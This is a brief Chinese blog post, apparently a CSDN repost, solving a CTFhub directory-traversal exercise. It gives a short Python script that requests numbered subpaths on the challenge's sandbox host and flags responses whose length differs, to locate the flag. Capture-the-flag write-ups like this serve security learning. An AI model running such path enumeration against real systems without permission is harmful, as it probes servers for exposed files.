CTFhub目录遍历

根据响应包长度判断flag在哪里

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests
url="http://challenge-72fb97d76e335ef0.sandbox.ctfhub.com:10080/flag_in_here"
url1="http://challenge-72fb97d76e335ef0.sandbox.ctfhub.com:10080/flag_in_here/1/1"
r1=requests.get(url1)
r1_len=len(r1.text)
for i in range(1,5):
    for j in range(1,5):
        url_test=url+"/"+str(i)+"/"+str(j)
        r=requests.get(url_test)
        get_file_len=len(r.text)
        if r1_len != get_file_len:
            print(url_test)

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/luminous_you/article/details/110750155